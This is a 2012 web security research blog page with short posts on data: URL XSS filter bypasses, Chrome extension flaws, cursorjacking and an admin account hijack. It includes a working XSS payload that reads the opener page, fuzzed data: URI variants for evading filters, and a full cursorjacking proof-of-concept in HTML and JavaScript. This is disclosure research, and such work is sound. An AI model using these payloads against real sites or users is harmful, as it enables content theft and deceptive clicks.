Friday, April 6, 2012

Fun with data: URLs

Data URLs, especially in their base64 encoding can often be used for anti XSS filter bypasses. This gets even more important in Firefox and Opera, where newly opened documents retain access to opening page. So attacker can trigger XSS with only this semi-innocent-link:
<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>
or even use the base64 encoding of the URL:
data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+
Chrome will block the access to originating page, so that attacker has limited options:

But what if particular XSS filter knows about data: URIs and tries to reject them? We bypass, of course :) I've been fuzzing data: URIs syntax recently and I just thought you might find below examples interesting:
data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera


Here are full fuzz results for vector:
data:text,html;<before>base64<after>,[base64content]

BrowserBefore (ASCII)After (ASCII)
Firefox 11 9,10,13,59 anything
Safari 5.1 9,10,13,59 anything
Chrome 18 9,10,13,32,59 9,10,13,32,59
Opera 11.6 9,10,13,32,59 9,10,13,32,44,59

Not a ground-breaking result, but it may come in handy one day for you, like it did for me.

Tuesday, March 27, 2012

Chrome addons hacking: Bye Bye AdBlock filters!

Continuing the Chrome extension hacking (see part 1 and 2), this time I'd like to draw you attention to the oh-so-popular AdBlock extension. It has over a million users, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still relatively easy to bypass it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.

tl;dr: Chrome AdBlock 2.5.22 bypasses, demo here and here, but I'd advise you to read on.

Tuesday, February 21, 2012

Chrome addons hacking: want XSS on google.com?

For a few days now I'm checking various Chrome extensions code looking for vulnerabilities (see also the first post of the series). There are many. Most of them due to lazy programming (ignoring even the Google docs on the subject), some are more subtle, coming from poor design decisions.

As for the risk impact though, there are catastrophic vulnerabilities. This is just a sample of what code is committed to Chrome Web Store and can be downloaded as a Google Chrome extension.

How would you like an XSS on google.com?

Chrome extensions can alter the contents of a webpage you're navigating (if they have the permission for the URL). In web security, what is the worst thing you might do when altering HTML document on-the-fly? Of course, XSS. Even if the page itself is totally safe from XSS, an addon might introduce it (it's similar to just entering javascript:code()in address bar) and the page cannot possibly defend from it (more or less).

Google documentation about Chrome extensions warns about this exact threat. But, as it turns out, seeing is believing, so there you go. Let me tell you about some minor extension (196 users as of now, which is the only reason why I'm 0daying now) that allowed me to XSS Google.

Friday, February 17, 2012

Intro to Chrome addons hacking: fingerprinting

tldr; Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.

Wednesday, January 18, 2012

Cursorjacking again

About a year ago, Marcus Niemietz demonstrated UI redressing technique called cursorjacking. It deceived users by using a custom cursor image, where the pointer was displayed with an offset. So the displayed cursor was shifted to the right from the actual mouse position. With clever positioning of page elements attacker could direct user clicks to desired elements.

Cursor fun

Yesterday Mario Heiderich noticed that 
<body style="cursor:none">
works across User-Agents, so one could easily totally hide the original mouse cursor. Combine that with mousemove listener, mouse cursor image and a little distraction and we have another UI redressing vector. The idea is very simple:
<body style="cursor:none;height: 1000px;">
<img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;">click me click me</button>
<div style="position:absolute;top:100px;left:30px;">
<a href="#" onclick="alert(/you clicked-me-instead/)">i'm not important</a>
</div>
<script>
  var  oNode = document.getElementById('cursor');

  var onmove = function (e) {  
    var nMoveX =  e.clientX, nMoveY =  e.clientY; 
    oNode.style.left = (nMoveX + 600)+"px";  
    oNode.style.top = nMoveY + "px";  
  }; 
  document.body.addEventListener('mousemove', onmove, true);
</script>
</body>

The one on the left is real, right is fake. The idea is to distract you from noticing the left one.

Demo

It's just a sketch (e.g. in real life one would have to handle skipping mouse cursor when it's over a frame), but it works nonetheless. Try this good cursorjacking example ;)  Here's sources for anyone interested.

Bonus

NoScript ClearClick (a clickjacking protection) works, because it detects clicks on areas that are hidden from the user (e.g. with opacity:0). With cursorjacking the protection won't get triggered as attacker is not hiding the original element to click on (Twitter button in the PoC). The only deception is distraction. So, currently, this technique is a NoScript ClearClick protection bypass.
Update: Fixed in NoScript 2.2.8 RC1

Saturday, December 17, 2011

Beatthis! oracle crypto xmas challenge

It's this time of the year, and I'm sitting here and launching Beathis oracle! crypto xmas challenge for you guys. Enjoy! It's a bit different than the last but I like it more. There's only one level, but it should be challenging.

Tuesday, November 22, 2011

Geocommons.com admin account hijack

Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. Geocommons.com is one of them - and this is the story of how geocommons got really common.

GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.

There was a critical vulnerability in geocommons.com website allowing any user to change e-mail address of administrative user and hijack the admin account. According to vendor, vulnerability is now fixed.